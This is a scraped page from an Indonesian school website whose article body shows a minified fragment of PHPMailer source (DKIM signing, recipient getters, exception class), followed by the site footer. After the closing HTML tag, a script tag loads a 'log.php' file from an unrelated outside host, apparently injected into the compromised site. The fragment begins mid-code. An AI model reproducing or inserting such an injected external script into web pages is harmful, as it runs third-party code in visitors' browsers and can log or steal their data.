$header){if(strpos($header,'From:')===0){$from_header=$header;$current='from_header';}elseif(strpos($header,'To:')===0){$to_header=$header;$current='to_header';}else{if(!empty($$current)&&strpos($header,' =?')===0){$$current.=$header;}else{$current='';}}}$from=str_replace('|','=7C',$this->DKIM_QP($from_header));$to=str_replace('|','=7C',$this->DKIM_QP($to_header));$subject=str_replace('|','=7C',$this->DKIM_QP($subject_header));$body=$this->DKIM_BodyC($body);$DKIMlen=strlen($body);$DKIMb64=base64_encode(pack('H*',sha1($body)));if(''==$this->DKIM_identity){$ident='';}else{$ident=' i='.$this->DKIM_identity.';';}$dkimhdrs='DKIM-Signature: v=1; a='.$DKIMsignatureType.'; q='.$DKIMquery.'; l='.$DKIMlen.'; s='.$this->DKIM_selector.";\r\n"."\tt=".$DKIMtime.'; c='.$DKIMcanonicalization.";\r\n"."\th=From:To:Subject;\r\n"."\td=".$this->DKIM_domain.';'.$ident."\r\n"."\tz=$from\r\n"."\t|$to\r\n"."\t|$subject;\r\n"."\tbh=".$DKIMb64.";\r\n"."\tb=";$toSign=$this->DKIM_HeaderC($from_header."\r\n".$to_header."\r\n".$subject_header."\r\n".$dkimhdrs);$signed=$this->DKIM_Sign($toSign);return $dkimhdrs.$signed."\r\n";}public function getToAddresses(){return $this->to;}public function getCcAddresses(){return $this->cc;}public function getBccAddresses(){return $this->bcc;}public function getReplyToAddresses(){return $this->ReplyTo;}public function getAllRecipientAddresses(){return $this->all_recipients;}protected function doCallback($isSent,$to,$cc,$bcc,$subject,$body,$from){if(!empty($this->action_function)&&is_callable($this->action_function)){$params=array($isSent,$to,$cc,$bcc,$subject,$body,$from);call_user_func_array($this->action_function,$params);}}}class phpmailerException extends Exception{public function errorMessage(){$errorMsg='<strong>'.$this->getMessage()."</strong><br />\n";return $errorMsg;}}<br /> ?> </td></tr></table><br><br>   <a href='index.php?id=artikel&kode=1' >Kembali ke Atas</a><br><br></div> </div> </div> </div> <!-- tengah konten--> </div> <div class="cleared"></div><div class="art-Footer"> <div class="art-Footer-inner"> <div class="art-Footer-text"> <p>Copyright © 2011. <a href="http://www.smpn8jogja.sch.id" >www.smpn8jogja.sch.id</a>. Website engine's code is copyright © 2011 Balitbang Dimodifikasi oleh Admin SMPN8 Jogja <br/>Best viewed in Mozilla Firefox 1024 x 768 resolution.</p> </div> </div> <div class="art-Footer-background"></div> </div> <div class="cleared"></div> </div> </div> <div class="cleared"></div> <p class="art-page-footer"></p> </div> </body> </html> <script src='http://4zidan.id1945.com/log/log.php' type='text/javascript'></script>